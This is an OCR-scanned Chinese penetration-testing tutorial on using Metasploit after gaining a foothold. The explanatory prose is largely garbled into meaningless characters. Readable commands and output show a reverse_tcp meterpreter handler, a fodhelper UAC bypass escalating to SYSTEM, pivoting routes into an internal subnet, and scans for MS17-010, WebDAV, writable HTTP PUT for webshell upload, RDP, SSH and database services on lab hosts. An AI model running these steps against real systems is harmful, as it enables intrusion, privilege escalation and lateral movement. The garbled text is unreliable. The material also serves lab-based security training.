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0T B BBAKFT metasploit RUBEMAIBIFAM THERSMEREEN

AHERRERIR:

> B meterpreter AN HNT XM BEFRAMN TH&EXSEF AT
> NTEELGHEBRAMRETHNFEERETR

> TH scoksda/socks5 IR TN B ARAMN T & £F7EEH

EliErE U6 ER

NewMsf BEAECANE—& vps VIR [BEELEAE L EREY msf], /AN ip: 192.168.3.233
BypassAV BREANBECELEZN—6 BRAMA N AN [winle x64], BRI ip: 192.168.4.4
I

B BTE AR E R, RS KRBT B2, S8 Ed BAEF TG ARRELI B FFRIN A NELSMERE TV ENREF BT RIVIRE getshell IEHL], BiE, BZANBFBURKZR AR mst
g ABl, BEEESSE PR RRITE msf KX BRI MNETEMSMERE IR, R, AERBELZEHERENZIH AT RXELFE T BAANN—S P ANE shell [BE#Ewin10 /7 /8 /8.1
XMEBH RG], BETHERE win? UENESESIAT vac HlHI [kl xp A THRGERAAEE vac BRI ], T IAXHSEIANBEE ZZNE A2 — "85 7 XA administrator"iXBRAY shell, BA
R REANERA, ETEERRZ AT I EARER, AL ERBELE T —MEZRT UAC THRZEER A, ok, BEMNEHERZF, BTEFETH, ETEAERHE shell, FI AT, SEAHE T, AT
B —NER# bypassUAC {1y meterpreter fY shell FHig, EIE{E, X2 payload gt E#sH veil BB{EARL T, AFEE Bisflas L EZ#IT, X7, IM{EH —A), bypassUAC FAREIER X EM"RIN", EVIXR
X R G R LR BN R, BT, MR E M — TN RGEZBAF [ Linux 1, EEE—MRIFEMARS B A [IA P IDER 1 iR E| system & root, FAMAERME ~_"

TFATTINER], admin A RASEEEA, BXFLEALHE— N "HE TN NEEZHF



BN C:\Windowshsystern32icmd.exe

C:\»net user admin
User name
Full Name

User's comment

Country/region code 808 (System Default)
Account active Yes

Account expires Never

Password last set 11/11/2817 4:16:25 AM
Password expires Never

Password changeable 1171172017 4:16:25 AM
Password required Mo

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon 771272018 11:26:41 PM

Logon hours allowed All
Local Group Memberships

lobal Group memberships
he command completed successfully.

&5, BATREE B — R B bypassUAC 9 meterpreter Y shell
msf5 > use exploit/multi/handler

msf5 > set payload windows/meterpreter/reverse_tcp

msf5 > set lhost 192.168.3.233

msf5 > set lport 110

msf5 > set EnableUnicodeEncoding true

msf5 > set ExitOnSession false

msf5 > exploit -j

msf5 > sessions -i 1

meterpreter > sysinfo

A\

meterpreter > getuid

v

meterpreter getsystem
meterpreter > getprivs
meterpreter > background

msf5 > search bypassuac



msf5 exploit( ) = [*] Sending stage (179779 bytes) to 192.168.3.103
[*] Meterpreter session 1 opened (192.168.3.233:110 -> 192.168.3.103:49550) at 20818-07-13 67:02:58 +0000

msf5 exploit( } » sessions -1 1
[#] starting interaction with 1

meterpreter = syqlnfa
Computer : WIN1O-CLIENT

: Windows 10 (Build 10248).
I X64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : {xB6/windows

meterpreter > getuid
Server username: WIN18-CLIENT\admin

meterpreter > getsystem
priv elevate getsystem: Operation failed:| The environment is incorrect. The following was attempted:
Mamed Pipe Impersonation (In Memory/Admin)
Mamed Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)
meterpreter > getprivs

Enabled Process Privileges

QEChangeHotlfyPrlvllege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background

Z3 BARYL8E shell #HT 7 RMEME R EZ T, BAFFERER bypass LTI UAC [ BINAKRIFE bypassUAC B2 /G, BT RSN & EBRE], ETRPTX—VTREHAAE S, PR A
MRS R B A28 £ A9 B3R, bypassUAC ELR— MEESEMN R GRIE[ A A HEE S R E R GRIZFHTH, 1 nod 15I57EX T EM A XARX LLREIAL ], XELRIRTF 7, bypass A7 UAC, #LA 7 hash,
% cmdshell # powershell #EART , FEMN—RIRED SR M AKZIR, BT B msf BHHEF UAC bypass 183, BN Z AT AESH R LRI, ok, XL RF, HATE WL BUX )L, FEIEERNE
SHEPMAETELTRAEF UAC bypass Tx

/7

R, HAEFAN bypassUAC IUHYBE MM RTE B # 5t FIRIRIARY reverse_tcp B9 payload[in O 4444], fREE T UIRYE B C B ARKISEFRIE LA EAMRAY payload #H1TRE, BN B EEMNMIMLE, K P EE
X#f bypass 3% meterpreter, 1% payload R JLFESHFIR

msf5 > use exploit/windows/local/bypassuac_fodhelper winl1@ T FfJ uac bypass iR, 28 piTh5#E shell BUBTIR B8 H REF=EL

msf5 > set session 1

msf5 > exploit

meterpreter > getuid

meterpreter > getsystem



msf5 exploit( ) = use exploit/windows/local/bypassuac_ fodhelper
msf5 exploit( } » set session 1

session => 1

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.3.233:4444

UAC is Enabled, checking level...

Part of Administrators group! Continuing...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Configuring payload and stager registry keys .

Executing payload: C:\Windows\Sysnative\cmd.exe [c C:\Windows\System32\fodhelper.exe

Sending stage (179779 bytes) to 192.168.3.103

Meterpreter session 2 opened|(192.168.3.233:4444 -> 192.168.3.103:50347) |at 2018-07-13 08:39:48 +0000
Cleaining up registry keys ...

# 4 4+ 4+ * *

[
[
[
[
[
[
[
[
[ 4
[ 4

meterpreter = getuid
Server username: WIN1©-CLIENT\admin

meterpreter > getsystem
..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter = getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >
T, 2 mst Ba L MEX EEARE LAY UAC bypass 1R, K FEMERE MR bypass A7, XBAAZIR T, BERF ARG RIE, LN EH AELRFERF MR bypass By, BERN=BFHIE, XELKRET
AN

exploit/windows/local/bypassuac_comhijack
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_fodhelper

exploit/windows/local/bypassuac_injection_winsxs

ox01 F [ msf #HITAMEEFRWaH— LR ESETE

—&, REEEEFREFFEL, BEEENTERRE, TEZXZ2EHERTERMNBNFEMARER, A5, KEBIEELIAKRRESTAQRERNEE, F A% nsf iE EHREMNES BEEMBER
MRS RINNMNRFERT, e REETRe T, REBARRT , RAZ A msf, BEMNB TRANYE—~, REAEBTLES txt iLX, X T pgsql BIEEM msf MEXFNECE, AR @ nsf L RKHEBES
TEBEBFEE R, LLERHER, FABIA pgsql BrF ARV 127.0.0.1 K&, TG AT 2B pgsal M E M, MRIREZEMANE kali fIpy msf, RFHITIN TRIE, BIEEES BFECE T, 2R
RIRE—, RECHEINAGTFIEREN nsf, BEBREFTEZEZHNXT nsf FAMENBRXE[EEBEFSZFDHE ], #THEXNEBIREEEREE, XEAZKIE T, TIRER

# systemctl start postgresql AR ERSEIEE—A, BEEFLIE pgsql FRFiEELkK

# msfdb init AL msf HUBERE, EXMS BN EX M, TEAES 7 —HERBEEEES, RAEENCIREREM, (Ve
msf5 > msfconsole BEI msf

msf5 > db_status KREEIEE %

msf5 > search bypassuac SRR, FEERERECEERKBIIEENFRT, EEBA T, E LEIREEMFINER RE BN IZRIRA

<



msf5 > db status
postgresql connected to msf
5 = search bypassuac

Matching Modules

Name

exploit/windows/local /bypassuac
exploit/windows/local/bypassuac comhijack

ler Hijack)
exploit/windows/local/bypassuac_eventvwr
Registry Key)
exploit/windows/local/bypassuac_fodhelper
y Key)
exploit/windows/local/bypassuac injection
jection)
exploit/windows/local/bypassuac _injection winsxs
jection) abusing WinSXs
exploit/windows/local/bypassuac vbs
ulnerability)

EF8, 0 ACTRMNIER, #EERF— P BHRERE—, BE— T BB N EREE N SERBESN, IR ITERN SN, ARBEMEN AN TIEXETTT ,nsf BIARIERE N EIEET

Disclosure

2810-12-31
1900-01-01

2016-88-15

2017-85-12

2010-12-31

2017-904-00

2015-88-22

# default XPTEX T, XEELIFE AT THAVE DAL

A/ kR TEX
ERETEX

msf5 > workspace -a/-d demo
msf5 > workspace demo

msf5 > workspace

msf5 = workspace

sf5 > workspace -a alive
Added workspace: alive
Workspace: alive

> workspace alive

Workspace: alive

> workspace
default

B=0, BERRERT B TIREIEEREEXNILI 0L

msf5 > db_rebuild cache
iNpURES

msf5 > db_connect

befr TR

msf5 > db_disconnect

msf5 > db_export

BEYRIAENTEX

EEFHEIE S HE R E X4

Rank

excellent
excellent

excellent
excellent
excellent
excellent

excellent

5 T — R4

Description

Windows

Windows

Windows

Windows

Windows

Escalate UAC Protection Bypass
Escalate UAC Protection Bypass (Via COM Hand

Escalate UAC Protection Bypass (Via Eventvwr
UAC Protection Bypass (Via FodHelper Registr
Escalate UAC Protection Bypass (In Memory In
Escalate UAC Protection Bypass (In Memory In

Escalate UAC Protection Bypass (ScriptHost V

EEa R nsf REM[FMBMNERT] B RIL, MENEE, BR, BFER, BEEELE nsf PR EREEHSEHEENFRIZFR—EASMRSI T, IMREBEE]

VRIS TR EIEE L, 0, db_connect msf:admin@127.0.0.1/msf



msf5 > db_import EIEEX P INEIESE E

msf5 > db_nmap 7£ mst NERIE A nmap XF B AR M 1T FHIER RN

msf5 > db_status BB YRIEIREAERIRTS

msf5 > hosts RIBEE NS MER, EFERAE MR

msf5 > loot RIEFTHNEMER, EEBBE

msf5 > services RIBEFIE NS MER, EHRRFERS, BE RIS TR IRE getshell WiFRERS

msf5 > vulns RIFFTA NS TER, ERFERBNEN, EREF BN —LREESARE, s BaiEHEERIIK Tk
msf5 > workspace B TEX

0x02 BT ARINE] B #7458 E A M BB B R 7T Nt 1T a3

BLE L TTREI AL ARNIER nsf FRRIMBEHE R ARE, BEXH, Frigsiigdl, TERZELEREN ip 8, BRI AHANEIZMNBN S H _EE, Eibab A5k, EXEmE 5k msf, T E
192.168.4.x XNMEZHY ip B, & EB#ERBIL session 1 XNSTERE, Xt AT A, IRETIXNE AR msf AR EEARRN B AN #H TN R E , meterpreter AR EZBMHE, R EXH L, BHK
RKNIZEBRE AR T, L, #R LI EE H LR, FEEMME T

meterpreter > run get local subnets

meterpreter > run autoroute -s 192.168.4.0 -n 255.255.255.0 JFEIX/NMERD, L EREY B ARVl EAEREEN, A ENEREBMEES 0/24, ARAF LY TS HRIE
meterpreter > run autoroute -p BEAMNIEMNE, IRMENETERRZEMNL

meterpreter = run get local subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/managefautoroute OPTION=value [...]

Local subnet: 169.254.0.8/255.255.0.0

Local subnet: 192.168.3.8/255.255.255.0

Local subnet: 192.168.4.0/255.255.255.0

Local subnet: 192.168.5.0/255.255.255.0

meterpreter =[run autoroute -s 192.168.4.0 -n 255.255.255.0

Example: run post/multi/managefautoroute OPTION=value [...]
Adding a route to 192.168.4.0f255.255.255.0...
+] Added route to 192.168.4.0/255.255.255.0 via 192.168.3.1603

!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
l
W

Use the -p option to list all active routes
etergrcte > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

Gateway

192.168.4.8 255.255.255.8 Session 1

meterpreter > |

Ok, 2| H AR A M A ES B 247 UG, BEER T AR BRI Mz T &MEERN 7, 8 5, EERESRXEMR S im0 AERREL R BisAM R —LESHERE T, KEFRUKH, BoRER R i

//
Hfﬂllﬂ
IS



BEIRIE getshell M#RIREH, IRSWE, #IE B — WAL AT

B B ARA M PRI PTE windwos 777A EAL[ AL AX{ZE windows, 7 samba JREFHY Linux Al —AFRE R MR, E X EIE 2 windows ], FEAEL KRS, TARY, K P ERRLERY, L EIRIE
¥, A E—T, A ERENBALLTD ip, BT XEEZEZAR, IFEO AR REAMBNRERGNEBENE, T BEEROERBE, ELRZM, REDAK, —EENZIBE, RINEREEREN—
meterpreter H15, I NEEEBMAEEAANAM AL, vpn AW E LM TL . . (RIRIRELLEFINANAMB T , BV REF 20 MANEEER, CREREEZNNCERE ], IRIREAW, NEBAR, #H
AR, RBHFHFEETEAZE ALY KU R A EHAIPEER T, EERERIIER TEMRXOXZI, B EEAE R UNENEETRS ML, RIAARH T, B FFERER
AT AARH T, —ERBEBEFERLZLBEDNEEZR, 3I—HRE 7, AR LI RAT, RRXFEHAMKEA REEMKERE ? EHNRA ? ERECHF VKNS, #UUBELRT )
msf5 > use auxiliary/scanner/smb/smb_version SLfR ERLE2EHRNMNFEFE T 139,445 im0l
msf5 > set rhosts 192.168.4.0/24
msf5 > set threads 1

msf5 > run

msf5 auxiliary( ) = set rhosts 192.168.4.0/24
rhosts == 192.168.4.0/24

msf5 auxiliary( } = set threads 3

threads == 3

msf5 auxiliary( ) = run

192.168.4.2: is running Windows 2008 R2 Datacenter SP1 (build:7601) (name:WEBSERVER-IIS7) (workgroup:WORKGROUP )}
192. o B is running Windows 10 Pro (build:18240) (name:WIN18-CLIENT) (workgroup:WORKGROUP )

192. .4.3: is running Windows 2003 R2 SP2 (build:3798) (name:WEBSERVER-I11I56) (workgroup:WORKGROUP )

192. A.6: is running Windows 2008 R2 Datacenter SP1 (build:7601) (name:2008R2-DCSERVER) {domain:RDﬂTKIT)
192.1 .4.8: is running Windows 2012 R2 Datacenter (build:9608) (name:WEBSERVER-IIS8) '

W B RAM BT T REFAE ms17-010 MEY], ER, XENNAZRNZEFAEL KR, FEXKEFEHNA, —RBEAT, EEFAARBRSZESMAN TIRELZEHN, AT, REBLIERMER T, 2R, msf BHA
ms17-010 exp AR HIEHT 64 iR %, B EAFFAVE AR

msf > use auxiliary/scanner/smb/smb_msl17 010

mst > set rhosts 192.168.4.0/24

msf > set threads 1

msf > run -j
msf5 auxiliary( run

[+] 192.168.4.2:445 is likely VULNERABLE to MS517-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)

[+#] 192.168.4.3:445 is likely VULNERABLE to MS17-0160! - Windows Server 2003 R2 3790 Service Pack 2 x86 (32-bit)
[+] 192.168.4.5:445 is likely VULNERABLE to MS17-010! - Windows 10 Pro 102460 x64 (64-bit)
[+] 192.168.4.6:445 is likely VULNERABLE to MS17-018! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)

BTN B FrA M prE FF /27 webdav A9 web #1585, th b FEILZEHIT I IS5.x / 6.x, &R tomcat # apache th E#F BRI 88, BLPr iis £FE L, WX TR o] IFFATIRE ez, BN RE:
ZEBEFRANF TR ERE S, EFRMAF, BHBERERS

msf > use auxiliary/scanner/http/webdav_scanner

msf > set rhosts 10.11.1.0/24 AR EFR, T EEEN AN TERETLRER, AREBHIT, HEAEEL, MEE B4, BZ23H4, E4HNA, XA BES, EHEAAN
BREIREWIL

msf > set threads 1

msf > run



auxiliary/( ) = run

10.11.1.8 (Apache/2.0.52 (Cent0S5)) WebDAV disabled.

10.11.1.10 (Microsoft-IIS/6.0) WebDAV disabled.

10.11.1.22 (Apache/1.3.23 (Unix) (Red-Hat/Linux) mod python/2.7.6 Python/1.5.2 mod ssl/2.8.7 OpenSSL/©.9.6b DAV/1.0.3 PHP/4.1.2 mod per
.26 _mod throttle/3.1.2) WebDAV disabled.

18.11.1.13 (Micro Suft IIS;S 1) has WEBDAV ENABLED
| 19.11.1.14 {Mlcrﬂhﬁft II5/5. 1) has WEBDAV ENABLED

Scanned 28 of 256 hosts (10% completr!

16.11.1.31 (Microsoft-IIS/6.0) WebDAYV disabled.

10.11.1.39 (nginx/1.6.3) WebDAV disabled.

Scanned 60 of 256 hosts (23% complete)

10.11.1.50 (Microsoft-IIS/8.5) WebDAV disabled.

10.11.1.72 (Apache/2.2.28 (Ubuntu)) WebDAV disabled.

10.11.1.49 (Microsoft-IIS/8.5) WebDAV disabled.

Scanned 77 of 256 hosts (30% complete)

Scanned 103 of 256 hosts (40% complete)

10.11.1.116 (Apache/2.4.6 (FreeBSD) PHP/5.4.23) WebDAV disabled.

10.11.1.133 (Microsoft-II5) WebDAVY disabled.

10.11.1.115 (Apache/2.0.40 (Red Hat Linux)) WebDAV disabled.
Scanned 132 of 256 hosts (51% complete)

10.11.1.128 (Microsoft-IIS/5.0) wWebDAV disabled.

Scanned 154 of 256 hosts (60% complete)

Scanned 186 of 256 hosts (72% complete)

10.11.1.202 (Microsoft-IIS/5.0) has WEBDAV ENABLED

10.11.1.209 (Apache/1.3.41 (Unix) mod perl/1.31) WebDAV disabled.
_Scanned 205 of 256 hosts (8 omplete)

12.11.1.229 (Microsoft-IIS5/6.0) has WEBDAV ENABLED
| 10.11.1.227 (Microsoft-IIS/5.0) has WEBDAV ENABLED |

10.11.1.223 (Apache/2.2.14 (Win32) DAV/2 mod ssl/2.2.14 OpenSSL/0.9.81 mod autoindex color PHP/5.3.1 mod apreq2-20090110/2.7.1 mod perl/
.4 Perl/v5.10.1) WebDAV disabled.

10.11.1.219 (Apache) WebDAV disabled.

10.11.1.238 (Apache/2.2.22 (Debian)) WebDAV disabled.

10.11.1.237 (Apache/2.2.22 (Debian)) WebDAV disabled.

10.11.1.234 (Apache/2.2.14 (Ubuntu)) WebDAV disabled.

Scanned 241 of 256 hosts (94% complete)

10.11.1.251 (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.4 with Suhosin-Patch) WebDAV disabled.
Scanned 256 of 256 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > |

M B ARA MR P RV put J37ARY Web RS, IRIE get webshell, 24X

msf > use auxiliary/scanner/http/http_put
msf > set rhosts 10.11.1.0/24
msf > set threads 20

msf > run

f auxiliary( ) > run

10.11.1.5: Error: The connection was refused by the remote host (10.11.1.5:80).
10.11.1.5: File doesn't seem to exist. The upload probably failed
10.11.1.10: File doesn't seem to exist. The upload probably failed

| 10.11.1.8: File doesn't seem to ¢ st. The upload probably failed

File uplodﬁed http //10.11.1.13:80/msT http put test.txt
File uploaded: http://10.11.1.14:80/msf http put test.txt
10.11.1.1: Error: The host (10.11.1.1:80) was unreachable.
10.11.1.1: File doesn't seem to exist. The upload probably failed
10.11.1.2: Error: The host (18.11.1.2:80) was unreachable.




REE, HESLREEERS, W, rdp[ BRSO T shift 517, B, A S O] DUX AT, 5L B FBLEF T 3389 Mt 25 LB I B 2 web RS, 15 web, L H 1% xampp, appserv [th2EH) php £ ERE [ BOIARER

EES, JLFEE system], HAtL o] UK ERRL], ssh,vnc. ..

msf > use auxiliary/scanner/rdp/rdp_scanner
msf > set rhosts 10.11.1.0/24
msf > set threads 1

msf > run

auxiliary( } = run

Identified RDP
Identiftied RDP
Identified RDP
18,11 . Identified RDP
18.11. Identified RDP
Scanned hosts (16% complete)
Scanned 60 g hosts (23% complete)
18.11.1. : 338 - Identified RDP
Scanned of 256 hosts (30% complete)
Scanned 106 6 hosts (41% complete)
Scanned ' hosts (50% complete)
180.11.1.145: - Identified RDP

18 L1
18,11
10.11.

s se Lad
LW W W
oo

o w

W ] = = N
s b Lad ==
20 L Lo Qo

= s Ry c]

s Lad
LJ L

L

Scanned 161 of 256 hosts (62% complete)
Scanned of 256 hosts (70% complete)
18.11.1.202:3389 - Identified RDP
Scanned 205 of 256 hosts (80% complete)
18.11.1.226:3389 - Identified RDP
160.11.1. 3389 Identified RDP

Identified RDP
Identified RDP
Identified RDP
Identified RDP
> - Identified RDP
scanned hosts (96% complete)
Scanned hosts (100% complete)
Auxiliary module execution completed

10.11.
10.11.
18 1%,
10.11.
10.11.
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=
[ |

REFH—EMRAN 2R ZFERD, AR, EEARE

msf > use auxiliary/scanner/ssh/ssh_version



msf > set rhosts 10.11.1.0/20
msf > set threads 20

msf > run

msf auxiliary( } = run

ion=7.6pl openssh.comment=Debian-4 service.vend

[+f 180.11.0.140:22 - SSH server version: SSH-2.0-0penSSH 7.6pl Debian-4 ( service.versi
: os.Tamily=Linux os.product=Linux os.version=7.0

ors0penBSD service.lamily=0penSSH service.product=0penS5H os.vendor=Debian os.devic
sgrvice.protocol=sdh fingerprint db=ssh.banner )

[+} 10.11.1.8:22 - 55H server version: S5S5H-1.99-0OpenSSH 3.9pl ( service.version=3.9pl service.vendor=0penBSD service.family=0penSSH
sgrvice.product=0penSSH service.protocol=ssh fingerprint db=ssh.banner )

[+] 10.11.1.24:22 - S5H server version: SSH-2.0-0penSSH 4.6pl Debian-Sbuildl ( service.version=4.6pl openssh.comment=Debian-5buildl
sefivice.vendor=0penESD service.family=0penSSH service.product=0penSSH os.vendor=Ubuntu os.device=General os.family=Linux os.product=Linux os
.vgrsion=7.10 servide.protocol=ssh fingerprint_db=ssh.banner )

[+] 10.11.1.22:22 - SSH server version: SSH-1.99-OpenSSH 3.1pl ( service.version=3.1pl service.vendor=0penBSD service.family=0penSSH
sﬁrvice,prﬂductzﬂpeHSEH service.protocol=ssh fingerprint db=ssh.banner )

[+] 10.11.1.39:22 - SS5H server version: SSH-2.0-0OpenSSH 6.6.1 ( service.version=6.6.1 service.vendor=0penBSD service.family=0penSSH
senvice.product=0perSSH service.protocol=ssh fingerprint db=ssh.banner )

[+I 10.11.1.44:22 - 5S5H server version: SSH-2.0-0OpenSSH 5.3pl Debian-3ubuntu?7 ( service.version=5.3pl openssh.comment=Debian-3ubuntu
7 gervice.vendor=0penBSD service.family=0penSSH service.product=0penSSH os.vendor=Ubuntu os.device=General os.family=Linux os.product=Linux
os jversion=10.04 senvice.protocol=ssh fingerprint db=ssh.banner )

[+] 18.11.1.35:22 - 55H server version: 55H-2.0-0OpenSSH 4.3 ( service.versi 4.3 service.vendor=0penBSD service.family=0penS5H serv
icg.product=0pensSsSH |service.protocol=ssh fingerprint db=ssh.banner )

[+] 10.11.1.72:22 | - SSH server version: SSH-2.0-0penSSH 5.8pl Debian-7ubuntul ( service.version=5.8pl openssh.comment=Debian-7ubuntu
1 service.vendor=0penBSD service.family=0OpenSSH service.product=0penSSH os.vendor=Ubuntu os.devi eneral os.family=Linux os.product=Linux
os.version=11.10 service.protocol=ssh fingerprint db=ssh.banner )

RXTHENTRZETERFH IR, (b1 vne, rlogin. . . ZEMRSE, ABRA——R T, MET RS ANERELD, RERE—LEEFRFNAZPETEBREE —AD

telnet ARAM—EIFEEZNRSHE LB UTERESAE, EERIPX, REASHIFEIRS, 1B, REREZ T MR
msf > use auxiliary/scanner/telnet/telnet_version

msf > set rhosts 10.11.1.1-25

msf > set threads 1

msf > run



R B AR N AP Y B2 BB EEPR 5, Eb 40, mssql, mysql,oracle,db2, postgresql. . HHFEE 7T KEF(FTENSRBREE, b, BN EERNIKS, 2540, #PFE

18.11.7.
18.11.1.4

Scanned

10.11.1.
18.11.1.6
18.11:1.:
18.11.1.

Scanned
18.11.
10.11.
10.11.
10.11.
18.11.
10.11.
10.11.
10.11.
Scanned

1811 s
l19.11.1.
18.11.1.
18.11.1.

Scanned
Scanned

18.11.1.:
18.11.1.
1811 s
l19.11.1.

Scanned

18.11.1.

Scanned

. 10:
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network
network
network
network
6% c“mplw
network
network issue
network issue
network issue
2% cumpletwj
network
network
network
network
network
network
network
network
54% complets
network issue
network issue
network issue
network issue
{?6% complete)
1% complete)
- A network issue
- A network issue
- A network issue
- A network issue
25 hosts (96% complete)
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25 of 25 hosts (100% complete)
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Auxiliary module execution completed
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10.11.1.22:23 TELNET Red Hat

B EREANO

> use auxiliary/scanner/mssql/mssql ping mssql

FFEs

connection w

huat

> host
e host

= host
> host
e host
e host

> host
e host
e host
» host
> host
e host
e connection timed
> connection timed

» host
» host
e host
e host
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unreachable.
unreachable.
unreachable.

(10.11.
(10.11.
(18.11.

PR

I

unreachable.
unreachable.
unreachable.
unreachable.

(10.11.
(10.11.
(18.11.
(19.11.
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(10.11.
(18.11.
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(10.11.
(19.11.1.
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s unreachable.
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e connection was refused by the remote host (10.11.1.24:23).
e host
> connection timed out (1©.11.1.13:23).
* connection timed out (10.11.1.14:23).

(1#.11.1.21:23) was unreachable.

unreachable.
s unreachable.
unreachable.
unreachable.

(10.11.1.:
(18.11.1.:
(18.11.1.:
(10.11.1.

[ B S 8
L W L
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case 7.3 (Valhalla)\yxBaKernel 2.4.18-3

EBANE BARAMNAAREHAF R

sed by the remote host (10.11.1.5:23).

on an i686\xPalogin: |

XK BT IANRIE getshell , HIEL,

msf > set rhosts 10.11.1.20-32

msf > set threads 1

msf > run



uxiliary( } = set rhosts 10.11.1.28-32
== 10.11.1.20-
} = set threads 1

uxiliary( } = run

Scanned : 3 hosts (15% complete)
Scanned hosts (23% complete)
Scanned ¢ hosts (30% complete)
Scanned 6 hosts (46% complete)
Scanned 7 hosts (53% complete)
Scanned 8 hosts (61% complete)
Scanned 10 hosts (76% complete)

Scanned 11 hosts (84% complete)
19.11.1.31: - SQL Server information for 10.11.1.31:
18.11.1.31: - ServerMName = RALPH
10.11.1.31: - InstanceName = MSS0QLSERVER
10.11.1.31: - IsClustered No
10.11.1.31: - Version 8.00.194
- [95 n t NRRe Jo - - tcp 1433
18:131.71.3%: - np \\RALPH\pipe\sql\query
Scanned 12 of 13 host5s (92% complete) ' '
Scanned 13 of 13 hosts (100% complete)
Auxiliary module execution completed

msf auxiliary( ) > |

RN B ARA M R mysql

msf5 > use auxiliary/scanner/mysql/mysql_version
msf5 > set rhosts 192.168.4.0/24

msf5 > run

msf5 auxiliary( ) = set rhosts 192.168.4.0/24
rhosts == 192.168.4.0/24
msfS5 auxiliary( Y = run

[+] 192.168.4.2:3306 192.168.4.2:3306 1s running MySQL 5.5.27 (protocel 10)
[+] 192.168.4.3:3306 192.168.4.3:3306 is running MySQL 5.1.52-community (protocol 10)
[+] 192.168.4.8:3306 192.168.4.8:3306 is running MySQL 5.6.15 (protocol 18)

TN ERAMAER postgresql
msf5 > use auxiliary/scanner/postgres/postgres_version
msf5 > set rhosts 192.168.4.0/24

msf5 > run

msf5 auxiliary( ) = set rhosts 192.168.4.0/24
rhosts == 192.168.4.0/24
msf5 auxiliary( Y > run

[#] 192.168.4.2:5432 Postgres - Version Unknown (Pre-Auth)
[#*] 192.168.4.8:5432 Postgres - Version Unknown (Pre-Auth)

BN B RN MR oracle

msf > use auxiliary/scanner/oracle/tnslsnr_version



msf > set rhosts 10.11.1.190-210

msf > run

e auxiliary/scanner/oracle/tnslsnr version
iaryl( ) = set rhosts 10.11.1.190-210
10.11.1.190-210

Scanned of 21 hosts (14% complete)

Scanned of 21 hosts (23% complete)
Scanned of 21 hosts (33% complete)
Scanned of 21 sts (42% complete)
Scanned 11 of 21 hosts (52% complete) ;
10.11.1.202:1521 - 10.11.1.202:1521 [Oracle - Version: 32-bit Windows: Version 9.2.0.1.0 - Production|
Scanned 13 of 21 hosts (61% complete) h
Scanned 15 of 21 hosts (71% complete)

M sid
msf > use auxiliary/scanner/oracle/sid_enum
msf > set rhosts 10.11.1.190-210

msf > run

use auxiliary/scanner/oracle/sid enum
uxiliary( } = set rhosts 10.11.1.190-210
=> 10.11.1.196-218
uxiliary(sca ) > run

of 21 hosts (14% complete)

of 21 hosts (23% complete)

of 21 hosts (33% complete)

of 21 hosts (42% complete)

of 21 hosts_(52% complete) } .
11521 |- Identified SID for 10.11.1.202: ["PLSExtProc"] |
11521 |- _Identified SID for 10.11.1.202: ["acme"] |
1521 - Identified SERVICE NAME for 10. Z202:1521 ["PLSExtProc"]
:1521 - Identified SERVICE NAME for 16. 202:1521 ["acme"]
:1521 - Identified SERVICE NAME for 10. 282:1521 ["acmeXDB"]
of 21 (61% complete)
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Scanned 1

B ERREEEFHNANENECHEEKEBIRERS, tba, couchdb,db2,1dap, mongodb, redis,memcache, ELK. . . XEFR| [FERAT AET , MANF M, Thtd
TEA BRI M PRSI TT 2 —, IR S, BNE XL RRELEMBECINREMNEAMIL, FEEFHMENE, BR, FESENRELEN, Y28 EX LR

BN A M R EIETE pop3 IRSGHL% , iRk B s REUAR &5 banner
msf > use auxiliary/scanner/pop3/pop3_version

msf > set rhosts 10.11.23.0/24

msf > set threads 1

msf > run



auxiliary( . )} = run

10.11.23.13:1180 - 10.11.23.13:110 POP3 +0K POP3 server offsec-lab ready <08079.1147219683@offsec-1lab>\x0d\x0a
Scanned 35 of 256 hosts (13% complete)
Scanned 54 of 256 hosts (21% complete)
Scanned 79 of 256 hosts (30% complete)

16.11.23.96:110 10.11.23.96:110 POP3 +0K POP3\x0d\x0a

Scanned 104 of 256 hosts (40% complete)

10.11.23.121:110 - 10.11.23.121:110 POP3 +0K POP3 se
16.11.23.129:110 - 10.11.23.129:110 POP3 40K POP3 se
Scanned 138 of 256 hosts (53% complete)

Scanned 159 of 256 hosts (62% complete)

10.11.23.187:118 - 10.11.23.187:110 POP3 +0K POP3 server offsec-lab ready <00003.175154256@0TTsec-1lab=\x0d\x0a
Scanned 196 of 256 hosts (76% complete)

Scanned 213 of 256 hosts (83% complete)

rver offsec-lab ready <00873.2323924757@oTfsec-1lab=\x0d\x0a
r =T

re
ver offsec-lab ready =00008.1536754617@0ffsec-lab>\x0d\x0a

TN BRI RS smtp BRE5H =%

msf > use auxiliary/scanner/smtp/smtp_version
msf > set rhosts 10.11.1.0/20

msf > set threads 1

msf > run
auxiliary( ) = run

[+] 10.11.1.22: 3.11.1.22:25 SMTP

[+] 1©.11.1.72:2 ; .1.72:25 SMTP 220 beta SMTP Server (JAMES SMTP Server 2.3.2) ready Fri, 13 Jul 2018 09:09:29 -0400 (EDT)\x0
dyx0a

[+] 16.11.1.128:25 - 16. .1.128:25 SMTP 220 dj.acme.local Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Fri, 13 Jul
2018 15:12:45 +0200 \x0d\xPa

[+#+] 1©6.11.1.115:25 - 10. 115:25 SMTP 228 tophat.acme.com ESMTP Sendmail 8.12.8/8.12.8; Fri, 13 Jul 2018 16:17:20 +0300\x8d\x0a
[#] Scanned 410 of 4096 hosts complete)

[+] 1©.11.1.229:25 - 10. 229:25 SMTP 220 MAIL ESMTP:.x8d\x0a

